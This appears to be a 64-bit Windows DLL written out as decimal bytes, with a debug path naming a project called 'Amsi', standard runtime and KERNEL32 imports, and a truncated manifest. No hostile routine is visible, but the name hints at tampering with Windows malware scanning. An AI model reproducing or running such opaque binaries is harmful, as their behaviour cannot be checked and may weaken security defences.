48 0 0 0 72 139 72 8 235 5 72 59 200 116 20 51 192 240 72 15 177 13 64 32 0 0 117 238 50 192 72 131 196 40 195 176 1 235 247 204 204 204 72 131 236 40 232 43 8 0 0 133 192 116 7 232 94 6 0 0 235 5 232 95 8 0 0 176 1 72 131 196 40 195 72 131 236 40 51 201 232 65 1 0 0 132 192 15 149 192 72 131 196 40 195 204 204 204 72 131 236 40 232 99 8 0 0 132 192 117 4 50 192 235 18 232 86 8 0 0 132 192 117 7 232 77 8 0 0 235 236 176 1 72 131 196 40 195 72 131 236 40 232 59 8 0 0 232 54 8 0 0 176 1 72 131 196 40 195 204 204 204 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 73 139 249 73 139 240 139 218 72 139 233 232 152 7 0 0 133 192 117 23 131 251 1 117 18 72 139 207 232 187 5 0 0 76 139 198 51 210 72 139 205 255 215 72 139 84 36 88 139 76 36 80 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 233 153 7 0 0 204 204 204 72 131 236 40 232 79 7 0 0 133 192 116 16 72 141 13 72 31 0 0 72 131 196 40 233 145 7 0 0 232 106 249 255 255 133 192 117 5 232 143 7 0 0 72 131 196 40 195 72 131 236 40 51 201 232 141 7 0 0 72 131 196 40 233 132 7 0 0 64 83 72 131 236 32 15 182 5 59 31 0 0 133 201 187 1 0 0 0 15 68 195 136 5 43 31 0 0 232 46 5 0 0 232 93 7 0 0 132 192 117 4 50 192 235 20 232 80 7 0 0 132 192 117 9 51 201 232 69 7 0 0 235 234 138 195 72 131 196 32 91 195 204 204 204 72 137 92 36 8 85 72 139 236 72 131 236 64 139 217 131 249 1 15 135 166 0 0 0 232 171 6 0 0 133 192 116 43 133 219 117 39 72 141 13 160 30 0 0 232 225 6 0 0 133 192 116 4 50 192 235 122 72 141 13 164 30 0 0 232 205 6 0 0 133 192 15 148 192 235 103 72 139 21 169 24 0 0 73 131 200 255 139 194 185 64 0 0 0 131 224 63 43 200 176 1 73 211 200 76 51 194 76 137 69 224 76 137 69 232 15 16 69 224 76 137 69 240 242 15 16 77 240 15 17 5 69 30 0 0 76 137 69 224 76 137 69 232 15 16 69 224 76 137 69 240 242 15 17 13 61 30 0 0 242 15 16 77 240 15 17 5 57 30 0 0 242 15 17 13 65 30 0 0 72 139 92 36 80 72 131 196 64 93 195 185 5 0 0 0 232 84 2 0 0 204 204 204 204 72 131 236 24 76 139 193 184 77 90 0 0 102 57 5 29 232 255 255 117 124 72 99 5 80 232 255 255 72 141 21 13 232 255 255 72 141 12 16 129 57 80 69 0 0 117 98 184 11 2 0 0 102 57 65 24 117 87 76 43 194 15 183 65 20 72 141 81 24 72 3 208 15 183 65 6 72 141 12 128 76 141 12 202 72 137 20 36 73 59 209 116 24 139 74 12 76 59 193 114 10 139 66 8 3 193 76 59 192 114 8 72 131 194 40 235 223 51 210 72 133 210 117 4 50 192 235 23 247 66 36 0 0 0 128 116 4 50 192 235 10 176 1 235 6 50 192 235 2 50 192 72 131 196 24 195 64 83 72 131 236 32 138 217 232 83 5 0 0 51 210 133 192 116 11 132 219 117 7 72 135 21 62 29 0 0 72 131 196 32 91 195 64 83 72 131 236 32 128 61 99 29 0 0 0 138 217 116 4 132 210 117 14 138 203 232 144 5 0 0 138 203 232 137 5 0 0 176 1 72 131 196 32 91 195 204 64 83 72 131 236 32 72 139 21 55 23 0 0 72 139 217 139 202 72 51 21 251 28 0 0 131 225 63 72 211 202 72 131 250 255 117 10 72 139 203 232 63 5 0 0 235 15 72 139 211 72 141 13 219 28 0 0 232 34 5 0 0 51 201 133 192 72 15 68 203 72 139 193 72 131 196 32 91 195 204 72 131 236 40 232 167 255 255 255 72 247 216 27 192 247 216 255 200 72 131 196 40 195 204 72 137 92 36 32 85 72 139 236 72 131 236 32 72 131 101 24 0 72 187 50 162 223 45 153 43 0 0 72 139 5 185 22 0 0 72 59 195 117 111 72 141 77 24 255 21 226 6 0 0 72 139 69 24 72 137 69 16 255 21 220 6 0 0 139 192 72 49 69 16 255 21 216 6 0 0 139 192 72 141 77 32 72 49 69 16 255 21 208 6 0 0 139 69 32 72 141 77 16 72 193 224 32 72 51 69 32 72 51 69 16 72 51 193 72 185 255 255 255 255 255 255 0 0 72 35 193 72 185 51 162 223 45 153 43 0 0 72 59 195 72 15 68 193 72 137 5 69 22 0 0 72 139 92 36 72 72 247 208 72 137 5 62 22 0 0 72 131 196 32 93 195 72 141 13 57 28 0 0 72 255 37 82 6 0 0 204 204 72 141 13 41 28 0 0 233 6 4 0 0 72 141 5 45 28 0 0 195 72 141 5 45 28 0 0 195 72 131 236 40 232 231 255 255 255 72 131 8 4 232 230 255 255 255 72 131 8 2 72 131 196 40 195 204 72 141 5 25 28 0 0 195 72 137 92 36 8 85 72 141 172 36 64 251 255 255 72 129 236 192 5 0 0 139 217 185 23 0 0 0 232 243 3 0 0 133 192 116 4 139 203 205 41 131 37 224 27 0 0 0 72 141 77 240 51 210 65 184 208 4 0 0 232 151 3 0 0 72 141 77 240 255 21 173 5 0 0 72 139 157 232 0 0 0 72 141 149 216 4 0 0 72 139 203 69 51 192 255 21 139 5 0 0 72 133 192 116 60 72 131 100 36 56 0 72 141 141 224 4 0 0 72 139 149 216 4 0 0 76 139 200 72 137 76 36 48 76 139 195 72 141 141 232 4 0 0 72 137 76 36 40 72 141 77 240 72 137 76 36 32 51 201 255 21 66 5 0 0 72 139 133 200 4 0 0 72 141 76 36 80 72 137 133 232 0 0 0 51 210 72 141 133 200 4 0 0 65 184 152 0 0 0 72 131 192 8 72 137 133 136 0 0 0 232 0 3 0 0 72 139 133 200 4 0 0 72 137 68 36 96 199 68 36 80 21 0 0 64 199 68 36 84 1 0 0 0 255 21 14 5 0 0 131 248 1 72 141 68 36 80 72 137 68 36 64 72 141 69 240 15 148 195 72 137 68 36 72 51 201 255 21 45 5 0 0 72 141 76 36 64 255 21 186 4 0 0 133 192 117 10 246 219 27 192 33 5 220 26 0 0 72 139 156 36 208 5 0 0 72 129 196 192 5 0 0 93 195 204 204 204 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 72 141 29 154 9 0 0 72 141 53 147 9 0 0 235 22 72 139 59 72 133 255 116 10 72 139 207 232 105 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 72 141 29 94 9 0 0 72 141 53 87 9 0 0 235 22 72 139 59 72 133 255 116 10 72 139 207 232 29 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 255 37 241 4 0 0 204 72 137 92 36 16 85 72 139 236 72 131 236 32 131 101 232 0 51 201 51 192 199 5 245 19 0 0 2 0 0 0 15 162 68 139 193 199 5 226 19 0 0 1 0 0 0 65 129 240 110 116 101 108 68 139 202 65 129 241 105 110 101 73 68 139 210 69 11 200 139 211 129 242 71 101 110 117 68 139 216 68 11 202 184 1 0 0 0 65 15 148 192 129 241 99 65 77 68 129 243 65 117 116 104 65 129 242 101 110 116 105 65 11 218 11 217 65 15 148 194 51 201 15 162 68 139 201 137 69 240 69 132 192 68 137 77 248 68 139 5 156 25 0 0 139 200 137 93 244 137 85 252 116 82 72 131 13 118 19 0 0 255 65 131 200 4 37 240 63 255 15 68 137 5 122 25 0 0 61 192 6 1 0 116 40 61 96 6 2 0 116 33 61 112 6 2 0 116 26 5 176 249 252 255 131 248 32 119 27 72 187 1 0 1 0 1 0 0 0 72 15 163 195 115 11 65 131 200 1 68 137 5 64 25 0 0 69 132 210 116 25 129 225 0 15 240 15 129 249 0 15 96 0 124 11 65 131 200 4 68 137 5 34 25 0 0 184 7 0 0 0 137 85 224 68 137 77 228 68 59 216 124 36 51 201 15 162 137 69 240 137 93 244 137 77 248 137 85 252 137 93 232 15 186 227 9 115 11 65 131 200 2 68 137 5 237 24 0 0 65 15 186 225 20 115 110 199 5 192 18 0 0 2 0 0 0 199 5 186 18 0 0 6 0 0 0 65 15 186 225 27 115 83 65 15 186 225 28 115 76 51 201 15 1 208 72 193 226 32 72 11 208 72 137 85 16 72 139 69 16 36 6 60 6 117 50 139 5 140 18 0 0 131 200 8 199 5 123 18 0 0 3 0 0 0 246 69 232 32 137 5 117 18 0 0 116 19 131 200 32 199 5 98 18 0 0 5 0 0 0 137 5 96 18 0 0 51 192 72 139 92 36 56 72 131 196 32 93 195 204 204 204 51 192 57 5 92 18 0 0 15 149 192 195 194 0 0 204 204 204 204 204 255 37 178 2 0 0 255 37 164 2 0 0 255 37 150 2 0 0 255 37 136 2 0 0 255 37 122 2 0 0 255 37 228 2 0 0 255 37 214 2 0 0 255 37 200 2 0 0 255 37 186 2 0 0 255 37 172 2 0 0 255 37 158 2 0 0 255 37 144 2 0 0 255 37 130 2 0 0 255 37 116 2 0 0 255 37 30 2 0 0 204 204 176 1 195 204 204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 255 224 64 85 72 131 236 32 72 139 234 138 77 64 72 131 196 32 93 233 4 250 255 255 204 64 85 72 131 236 32 72 139 234 232 45 248 255 255 138 77 56 72 131 196 32 93 233 232 249 255 255 204 64 85 72 131 236 48 72 139 234 72 139 1 139 16 72 137 76 36 40 137 84 36 32 76 141 13 161 241 255 255 76 139 69 112 139 85 104 72 139 77 96 232 93 247 255 255 144 72 131 196 48 93 195 204 64 85 72 139 234 72 139 1 51 201 129 56 5 0 0 192 15 148 193 139 193 93 195 204 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 216 29 0 128 1 0 0 0 80 30 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 48 0 128 1 0 0 0 240 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 136 29 62 87 0 0 0 0 2 0 0 0 65 0 0 0 116 34 0 0 116 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 184 34 0 0 184 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 13 0 0 0 68 2 0 0 204 34 0 0 204 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 32 0 128 1 0 0 0 0 33 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 82 83 68 83 42 80 223 113 29 247 64 69 188 37 18 40 145 144 25 190 50 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92 120 54 52 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0 18 0 0 0 18 0 0 0 1 0 0 0 17 0 0 0 71 67 84 76 0 16 0 0 63 14 0 0 46 116 101 120 116 36 109 110 0 0 0 0 64 30 0 0 18 0 0 0 46 116 101 120 116 36 109 110 36 48 48 0 82 30 0 0 129 0 0 0 46 116 101 120 116 36 120 0 0 32 0 0 248 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 248 32 0 0 16 0 0 0 46 48 48 99 102 103 0 0 8 33 0 0 8 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 16 33 0 0 8 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 24 33 0 0 8 0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 32 33 0 0 8 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 40 33 0 0 8 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 48 33 0 0 8 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0 56 33 0 0 8 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 64 33 0 0 8 0 0 0 46 67 82 84 36 88 84 90 0 0 0 0 80 33 0 0 36 1 0 0 46 114 100 97 116 97 0 0 116 34 0 0 156 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 16 37 0 0 8 0 0 0 46 114 116 99 36 73 65 65 0 0 0 0 24 37 0 0 8 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 32 37 0 0 8 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 40 37 0 0 8 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 48 37 0 0 60 1 0 0 46 120 100 97 116 97 0 0 108 38 0 0 60 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 168 38 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 192 38 0 0 248 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 184 39 0 0 200 2 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 52 0 0 0 46 100 97 116 97 0 0 0 64 48 0 0 0 6 0 0 46 98 115 115 0 0 0 0 0 64 0 0 176 1 0 0 46 112 100 97 116 97 0 0 0 80 0 0 16 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 96 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 96 96 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 17 21 8 0 21 116 9 0 21 100 7 0 21 52 6 0 21 50 17 224 236 29 0 0 1 0 0 0 207 16 0 0 92 17 0 0 82 30 0 0 0 0 0 0 17 15 6 0 15 100 8 0 15 52 6 0 15 50 11 112 236 29 0 0 1 0 0 0 246 17 0 0 20 18 0 0 105 30 0 0 0 0 0 0 1 6 2 0 6 50 2 80 1 20 8 0 20 100 8 0 20 84 7 0 20 52 6 0 20 50 16 112 9 26 6 0 26 52 15 0 26 114 22 224 20 112 19 96 236 29 0 0 1 0 0 0 102 18 0 0 54 19 0 0 133 30 0 0 54 19 0 0 1 6 2 0 6 82 2 80 1 9 1 0 9 98 0 0 1 8 4 0 8 114 4 112 3 96 2 48 9 4 1 0 4 34 0 0 236 29 0 0 1 0 0 0 215 23 0 0 101 24 0 0 187 30 0 0 101 24 0 0 1 2 1 0 2 80 0 0 1 4 1 0 4 66 0 0 1 6 2 0 6 50 2 48 1 13 4 0 13 52 10 0 13 114 6 80 1 13 4 0 13 52 9 0 13 50 6 80 1 21 5 0 21 52 186 0 21 1 184 0 6 80 0 0 1 15 6 0 15 100 7 0 15 52 6 0 15 50 11 112 1 13 4 0 13 52 7 0 13 50 6 80 0 0 0 0 1 0 0 0 56 39 0 0 0 0 0 0 0 0 0 0 62 40 0 0 120 32 0 0 104 39 0 0 0 0 0 0 0 0 0 0 6 41 0 0 168 32 0 0 192 38 0 0 0 0 0 0 0 0 0 0 114 42 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116 114 105 103 103 101 114 0 8 0 95 95 67 95 115 112 101 99 105 102 105 99 95 104 97 110 100 108 101 114 0 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 62 0 109 101 109 115 101 116 0 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 54 0 95 105 110 105 116 116 101 114 109 0 55 0 95 105 110 105 116 116 101 114 109 95 101 0 63 0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 51 0 95 105 110 105 116 105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101 110 116 0 0 52 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 0 60 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120 105 116 95 102 117 110 99 116 105 111 110 0 34 0 95 101 120 101 99 117 116 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 30 0 95 99 114 116 95 97 116 101 120 105 116 0 22 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 174 4 82 116 108 67 97 112 116 117 114 101 67 111 110 116 101 120 116 0 181 4 82 116 108 76 111 111 107 117 112 70 117 110 99 116 105 111 110 69 110 116 114 121 0 0 188 4 82 116 108 86 105 114 116 117 97 108 85 110 119 105 110 100 0 0 146 5 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 82 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 15 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0 112 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 112 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0 48 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116 101 114 0 16 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100 0 20 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 221 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101 0 84 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 106 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 50 162 223 45 153 43 0 0 205 93 32 210 102 212 255 255 255 255 255 255 0 0 0 0 1 0 0 0 2 0 0 0 47 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 16 0 0 65 16 0 0 48 37 0 0 68 16 0 0 148 16 0 0 16 38 0 0 148 16 0 0 191 17 0 0 52 37 0 0 192 17 0 0 66 18 0 0 96 37 0 0 68 18 0 0 76 19 0 0 164 37 0 0 76 19 0 0 160 19 0 0 144 37 0 0 160 19 0 0 221 19 0 0 72 38 0 0 224 19 0 0 20 20 0 0 24 38 0 0 20 20 0 0 229 20 0 0 212 37 0 0 232 20 0 0 89 21 0 0 220 37 0 0 92 21 0 0 149 21 0 0 16 38 0 0 152 21 0 0 184 21 0 0 16 38 0 0 184 21 0 0 205 21 0 0 16 38 0 0 208 21 0 0 248 21 0 0 16 38 0 0 248 21 0 0 13 22 0 0 16 38 0 0 16 22 0 0 113 22 0 0 144 37 0 0 116 22 0 0 164 22 0 0 16 38 0 0 164 22 0 0 184 22 0 0 16 38 0 0 184 22 0 0 1 23 0 0 24 38 0 0 4 23 0 0 205 23 0 0 32 38 0 0 208 23 0 0 108 24 0 0 232 37 0 0 108 24 0 0 144 24 0 0 24 38 0 0 144 24 0 0 187 24 0 0 24 38 0 0 188 24 0 0 11 25 0 0 24 38 0 0 12 25 0 0 35 25 0 0 16 38 0 0 36 25 0 0 208 25 0 0 44 38 0 0 252 25 0 0 23 26 0 0 16 38 0 0 32 26 0 0 101 27 0 0 56 38 0 0 104 27 0 0 178 27 0 0 72 38 0 0 180 27 0 0 254 27 0 0 72 38 0 0 8 28 0 0 201 29 0 0 88 38 0 0 80 30 0 0 82 30 0 0 104 38 0 0 82 30 0 0 105 30 0 0 136 37 0 0 105 30 0 0 133 30 0 0 136 37 0 0 133 30 0 0 187 30 0 0 204 37 0 0 187 30 0 0 211 30 0 0 8 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 96 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 